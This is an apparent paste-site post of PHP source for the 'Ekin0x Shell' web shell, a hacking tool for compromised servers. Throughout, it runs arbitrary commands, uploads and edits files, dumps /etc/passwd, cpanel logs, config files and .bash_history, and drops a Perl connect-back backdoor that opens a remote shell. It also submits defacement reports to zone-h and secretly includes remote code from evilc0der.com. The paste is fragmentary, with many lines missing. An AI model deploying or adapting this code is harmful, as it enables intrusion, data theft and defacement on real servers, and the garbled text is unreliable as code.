Posted by Cyberheb on Wed 3 Oct 01:28
report abuse | View followups from Anonymous | download | new post
- <?
- /*###########################################
- Ekin0x Shell volume 2.1
- Don't make any changes in c0de except if you dont know php programming
- Thanx : VoLqaN | Entrika | Moroccon Islam Defenders | H-B-V | xoron | AuGuSt27 and all Cyber-warrior.org Memberz
- ###########################################*/
- $a = "http://";
- $b = "evilc0der.com";
- $c = "/x.html";
- {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
- $_SERVER = &$HTTP_SERVER_VARS;
- }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
- if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
- elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
- else{return $requ."?".$link."=".$val;}}
- function delm($delmtxt){print"<center><table bgcolor=Black style='border:1px solidDeepSkyBlue ' width=99% height=2%>";print"<tr><td><b><center><font size=3 color=DeepSkyBlue >$delmtxt</td></tr></table></center>";}
- ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
- function input($type,$name,$value,$size)
- if ($dlink=="dwld"){download($_REQUEST['dwld']);}
- ?>
- <? include $_GET['baba']; ?>
- <html>
- <head><title>Ekin0x Shell</title></head>
- <style>
- BODY { SCROLLBAR-BASE-COLOR: DeepSkyBlue ; SCROLLBAR-ARROW-COLOR: red; }
- a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px}
- a:hover{color:red}
- input{FONT-WEIGHT:normal;background-color: #000000;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17}
- textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;}
- div{font-size:12px;font-family:tahoma;font-weight:normal;color:DeepSkyBlue smoke}
- select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style>
- <body bgcolor=black text=DeepSkyBlue ><font face="sans ms" size=3>
- </body>
- </html>
- <?
- $sf="<form method=post>";$ef="</form>";
- $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
- $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
- $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
- $sta="<textarea cols=157 rows=23>";$eta="</textarea>";
- $sfnt="<font face=tahoma size=2 color=DeepSkyBlue >";$efnt="</font>";
- ################# Ending of common variables ########################
- print " - <a href='javascript:history.back()'>Geri</a>";
- input ("text","nurld",$nurld,35);print " ";
- if (isset ($_REQUEST['nurlen'])){$urlenc =(urlencode (stripslashes($_REQUEST['nurlen']))); print "<p>Result is : $sfnt".$urlenc."$efnt"; die();}
- print "<p><b>[ MD5 - Encoder ]</b>";
- input ("hidden","scdir",$scdir,22); input ("submit","","Encode","");print $ef;die(); }if ($dlink=='perm'){print $sf;input("submit","mfldr","Main-fldr","");print " ";input("submit","sfldr","Sub-fldr","");print $ef;
- print "<p><table width=100% height=10% bgcolor=#dadada border=1><tr><td>";
- if (!show_source($showsc)||!function_exists('show_source')){print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";die();}print "</td></tr></table>";die();}}if ($dlink=='showsrc'){
- print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>";
- input ("text","showsc","",35);print " ";
- if ($dlink=='cmdhlp'){
- print "<p><b>: Insert the command below to get help or to know more about it's uses :";print "<form method=get>";
- input ("text","hlp","",35);print " ";
- $hlp = escapeshellcmd($hlp);print "<p><table width=100% height=30% bgcolor=#dadada border=2><tr><td>";
- fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Yeniden Editle</a>
- ] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}}
- Your index contents here</textarea></p>";
- input ("text","indx","Index-name",35);print " ";
- input ("submit","qindsub","Create","");print $ef;die();}
- $mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt'];
- Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " ";
- input ("submit","mailsub","Send-mail","");print $ef;die();}
- function callzone($nscdir){
- \$grupo = @ARGV[1];
- chomp \$grupo;
- open(a,\"<\$arq\");
- @site = <a>;
- close(a);
- \$b = scalar(@site);
- for(\$a=0;\$a<=\$b;\$a++)
- {chomp \$site[\$a];
- if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
- print \"[+] Sending \$site[\$a]\n\";
- use IO::Socket::INET;
- \$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
- print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
- print \$sock \"Accept: */*\r\n\";
- print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
- print \$sock \"Accept-Language: pt-br\r\n\";
- print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
- print \$sock \"Connection: Keep-Alive\r\n\";
- print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
- print \$sock \"Host: old.zone-h.org\r\n\";
- print \$sock \"Content-Length: 385\r\n\";
- print \$sock \"Pragma: no-cache\r\n\";
- print \$sock \"\r\n\";
- print \$sock \"notify_defacer=\$grupo¬ify_domain=http%3A%2F%2F\$site[\$a]¬ify_hackmode=22¬ify_reason=5¬ify=+OK+\r\n\";
- close(\$sock);}");
- }else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet'];
- if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru))
- else {callfuncs("chmod 777 $zpl;chmod 777 $li");
- www.site1.com
- www.site2.com
- </textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " ";
- input ("submit","zonesub","Send","");print $ef;die();}
- if(($chkini || strtolower($chkini)) !=='on'){print"<font color=DeepSkyBlue ><b>Kapali ( Guvenlik Yok )</b></font>";} else{
- else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=DeepSkyBlue >".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);}
- elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){
- print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>";
- if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)||strstr(PHP_OS,"WIN")){print "";}else{print "<table bgcolor=#191919 width=100% height=% style='font-size:13px;font-family:tahoma'><tr><td>";
- callocmd('which mysql','/usr/bin/mysql');
- callocmd('which GET','/usr/bin/GET');
- callocmd('which wget','/usr/bin/wget');
- callocmd('which lynx','/usr/bin/lynx');
- else{ $mess3= "Dosya Olustur/Sil";}}
- else {$mess3= "Dosya Olustur/Sil";}}
- else {$mess3="Dosya Olustur/Sil";}
- class upload{ function upload($file,$tmp){
- $obj=new upload($HTTP_POST_FILES['upfile']['name'],$HTTP_POST_FILES['upfile']['tmp_name']); if (isset ($_REQUEST['ustsub'])){
- if ($_REQUEST['ustools']='t1'){callfuncs('wget '.$ustname);}
- if ($_REQUEST['ustools']='t2'){callfuncs('curl -o basename($ustname) $ustname');}
- if ($_REQUEST['ustools']='t3'){callfuncs('lynx -source $ustname > basename($ustname)');}
- if ($_REQUEST['ustools']='t9'){callfuncs('GET $ustname > basename($ustname)');}
- if ($_REQUEST['ustools']='t4'){callfuncs('unzip '.$ustname);}
- if ($_REQUEST['ustools']='t5'){callfuncs('tar -xvf '.$ustname);}
- if ($_REQUEST['ustools']='t6'){callfuncs('tar -zxvf '.$ustname);}
- if ($_REQUEST['ustools']='t7'){callfuncs('chmod 777 '.$ustname);}
- print"<center><table bgcolor=#2A2A2A style=\"border:1px solid black\" width=100% height=6% ></center>";
- print "<tr><td width=43% style=\"border:1px solid black\">";
- print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Izinler";print "</td></tr>"; foreach ($files as $nfiles){
- $scmess2= "<center><font color=DeepSkyBlue >Evet";}else {$scmess2="<center><font color=red>Hayir";}if (is_readable("$nscdir/$nfiles")){
- $scmess3= "<center><font color=DeepSkyBlue >Evet";}else {$scmess3= "<center><font color=red>Hayir";}if (is_dir("$nscdir/$nfiles")){$scmess4= "<font color=red><center>Klas??r";}else{$scmess4= "<center><font color=DeepSkyBlue >Dosya";}
- print"<tr><td style=\"border:1px solid black\">";
- print "<center><font face= tahoma size=2 color=#dadada>";
- print"<td style=\"border:1px solid black\">";
- print "<td style=\"border:1px solid black\">";
- print " <center><a href=".inclink('dlink', 'edit')."&edit=$nfiles&scdir=$nscdir>D?şzenle</a>";}else {print "<center><font face=tahoma size=2 color=gray>D?şzenle</center>";}print"</td>"; print "<td style=\"border:1px solid black\">";print " <center><a href=".inclink('dlink', 'ren')."&ren=$nfiles&scdir=$nscdir>Adlandir</a>";print"</td>";print "<td style=\"border:1px solid black\">";
- print "<td style=\"border:1px solid black\">";
- elseif (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])||isset($_REQUEST['eval'])||isset($_REQUEST['subqcmnds'])){
- if ($_REQUEST['uscmnds']=='op1'){callfuncs('ls -lia');}
- if ($_REQUEST['uscmnds']=='op2'){callfuncs('cat /etc/passwd');}
- if ($_REQUEST['uscmnds']=='op3'){callfuncs('cat /var/cpanel/accounting.log');}
- if ($_REQUEST['uscmnds']=='op4'){callfuncs('ls /var/named');}
- if ($_REQUEST['uscmnds']=='op11'){callfuncs('find ../ -type d -perm -2 -ls');}
- if ($_REQUEST['uscmnds']=='op12'){callfuncs('find ./ -type d -perm -2 -ls');}
- if ($_REQUEST['uscmnds']=='op5'){callfuncs('find ./ -name service.pwd ');}
- if ($_REQUEST['uscmnds']=='op6'){callfuncs('find ./ -name config.php');}
- if ($_REQUEST['uscmnds']=='op7'){callfuncs('find / -type f -name .bash_history');}
- if ($_REQUEST['uscmnds']=='op8'){callfuncs('cat /etc/hosts');}
- if ($_REQUEST['uscmnds']=='op9'){callfuncs('finger root');}
- if ($_REQUEST['uscmnds']=='op10'){callfuncs('netstat -an | grep -i listen');}
- if ($_REQUEST['uscmnds']=='op13'){callfuncs('cat /etc/services');}
- print "<center><input type=hidden value=$rfile name=hidrfile><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else
- elseif (!file_exists($_REQUEST['rfile'])||!is_readable($_REQUEST['rfile'])||$_REQUEST['rfile']=$nscdir){print "<div><b><center>[ You selected a wrong file name or you don't have access !! ]</center></b></div><br>";}}
- [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Edit again </a>]
- </center></b></div><br>";fclose($rffp);}
- else {print "<div><b><center>[ Can't save the file !! ] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Back </a>]</center></b></div><br>";}}
- function callperms($chkperms){
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- function readable_size($size) {
- if ($size < 1024) {
- foreach ($units as $unit) {
- $size = ($size / 1024);
- input ("text","renf","New-name",20);print " ";
- print"<center><div><b>[ ". $_REQUEST['ren']." is renamed to " .$sfnt.$_REQUEST['renf'].$efnt." successfully ]</center></div></b>";print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Curr-dir </a>]</div>";die();}else{print "<div><b><center>[ Yeniden Adlandirilamiyor ]</div>";
- <font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ]</center></b></div><br>";}}function svetxt(){
- }else {$cpmvmess="Kopyala/Tasimak i?ßin Dosya Se?ß";}
- print "<center>[ Please choose a file first to read it using copy() ]</center>";
- } else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
- fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
- print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
- if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";}
- if (isset ($_REQUEST['bip'])&&isset ($_REQUEST['bport'])){callback($nscdir,$_REQUEST['bip'],$_REQUEST['bport']);}
- function callback($nscdir,$bip,$bport){
- \$system='$epath';
- \$sys= 'echo \"[ Operating system ][$]\"; echo \"`uname -a`\";
- echo \"[ Curr DIR ][$]\"; echo \"`pwd`\";echo;
- echo \"[ User perms ][$]\";echo \"`id`\";echo;
- echo \"[ Start shell ][$]\";';
- if (!\$ARGV[0]) {
- exit(1);
- }
- \$host = \$ARGV[0];
- \$port = 80;
- if (\$ARGV[1]) {
- \$port = \$ARGV[1];
- }
- \$proto = getprotobyname('tcp') || die('Unknown Protocol\n');
- socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n');
- my \$target = inet_aton(\$host);
- if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) {
- die('Unable to Connect\n');
- }
- if (!fork( )) {
- open(STDIN,'>&SERVER');
- open(STDOUT,'>&SERVER');
- open(STDERR,'>&SERVER');
- print '\n[ Bk-Code shell by Black-Code :: connect back backdoor by Crash_over_ride ]';
- print '\n[ A-S-T team ][ Lezr.com ]\n\n';
- system(\$sys);system (\$system);
- exit(0); }
- ");callfuncs("chmod 777 $backpl");
- callfuncs("perl $backpl $bip $bport");
- print "<div><b><center>[ Selected IP is ".$_REQUEST['bip']." and port is ".$_REQUEST['bport']." ]<br>
- [ Check your connection now, if failed try changing the port number ]<br>
- [ Or Go to a writable dir and then try to connect again ]<br>
- [ Return to the Current dir ] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]
- $uback=$_REQUEST['uback'];$upip=$_REQUEST['upip'];
- if ($_REQUEST['upports']=="up80"){callfuncs("perl $uback $upip 80");}
- elseif ($_REQUEST['upports']=="up443"){callfuncs("perl $uback $upip 443");}
- elseif ($_REQUEST['upports']=="up2121"){callfuncs("perl $uback $upip 2121");}}
- delm("# Komut ?áAlistir #");print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100% height=18%>";
- print "<tr><td width=32%><div align=left>";
- input("hidden","scdir",$nscdir,0);print "<br>";
- input("submit","crefile","Olustur","");
- input("text","cmd","",59);input("hidden","scdir",$nscdir,0);print"<br>";
- input("submit","","Execute","");print "</center>".$ef.$ec.$et."</div></td>";
- input("text","dir","",53);input("hidden","scdir",$nscdir,0);print "<br>";
- input("submit","credir","Create-D","");print " ";
- input("submit","deldir","Delete-D","");
- input("text","rfile",$nscdir,53);input("hidden","scdir",$nscdir,0);print "<br>";
- input("submit","","Oku-D?şzenle","");print "</center>".$ef.$ec.$et."</div></td>";
- print "<center><div><b>Dizin'i G??ster<br>";print $ec.$c2.$sf."<center><div style='margin-top:7px'>"; input("text","scdir",$nscdir,59);print"<br>";
- input("submit","","G??ster","");print " ";
- input("reset","","R00T","");print "</center>".$ef.$ec.$et."</div></td>";
- input("file","upfile","",40);input("hidden","scdir",$nscdir,0);
- input("hidden","up",$nscdir,0);
- delm("");print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";print "<tr><td width=50%><div align=left>";
- print " <textarea cols=73 rows=3 name=eval>";
- if(!isset($evsub)){print "//system('id'); //readfile('/etc/passwd'); //passthru('pwd');";}else{print htmlspecialchars(stripslashes($eval));}
- print "</textarea><br><center>";
- input('submit','evsub','Execute');print " ";
- input('Reset','','Reset');print " ";
- print "</td><td height=20% width=50%><div align=center>";
- print "<center><select style='width:60%' name=uscmnds size=1>
- <option value='op0'>Execute quick commands</option>
- <option value='op1'>ls -lia</option>
- <option value='op2'>/etc/passwd</option>
- <option value='op3'>/var/cpanel/accounting.log</option>
- <option value='op4'>/var/named</option>
- <option value='op11'>Perms in curr Dir</option>
- <option value='op12'>Perms in main Dir</option>
- <option value='op5'>Find service.pwd files</option>
- <option value='op6'>Find config files</option>
- <option value='op7'>Find .bash_history files</option>
- <option value='op8'>Read hosts file</option>
- <option value='op9'>Root login</option>
- <option value='op10'>Show opened ports</option>
- <option value='op13'>Show services</option>
- </select> ";print"<input type=submit name=subqcmnds value=Execute style='height:20'> <input type=reset value=Return style='height:20'></center>";
- print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
- print "<tr><td width=50%><div align=left>";
- print "<b><font face=tahoma size=2> To </b>";
- input("text","cpyf",$nscdir,45);input("hidden","scdir",$nscdir,0);print " ";
- input("submit","cpy","Copy","");print " ";input("submit","mve","Move","");
- print "</td><td height=20% width=50%><div align=right>";
- print "<select style='width:22%' name=ustools size=1>
- <option value='t1'>Wget</option><option value='t2'>Curl</option>
- <option value='t3'>Lynx</option><option value='t9'>Get</option>
- <option value='t4'>Unzip</option><option value='t5'>Tar</option>
- <option value='t6'>Tar.gz</option><option value='t7'>Chmod 777</option>
- <option value='t8'>Make</option></select> ";input('text','ustname','',51);print " ";input('submit','ustsub','Execute');print "</center>".$ec.$ef.$et;
- print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
- print "<tr><td width=50%><div align=left>";
- input("hidden","scdir",$nscdir,0);print " ";
- input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
- print "</td><td height=20% width=50%><div align=right>";
- input("hidden","scdir",$nscdir,0);print " ";
- input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
- print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
- print "<tr><td width=50%><div align=left>";
- input("text","bport",80,10);input("hidden","scdir",$nscdir,0);print " ";
- input("submit","","Connect","");print " ";input("reset","","Reset","");
- print "</center>".$ec.$ef.$et;print "</td><td height=20% width=50%><div align=right>";print $st.$c1."<div><b><center>Y?şklenmis Backdoor</div>";
- <option value='up80'>80</option><option value='up443'>443</option>
- <option value='up2121'>2121</option></select>";print " ";
- input("text","uback","back.pl",23);print " ";
- input("text","upip",$REMOTE_ADDR,29);print " ";input("submit","subupb","Connect");
- print"<center>Copyright is reserved to Ekin0x <br>[ By Cyber Security TIM Go to : <a target='_blank' href='http://www.cyber-warrior.org'>www.cyber-warrior.org</a> ]";
- print"</font></td></tr></table>";
- include ($a.$b.$c);
- ?>
Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.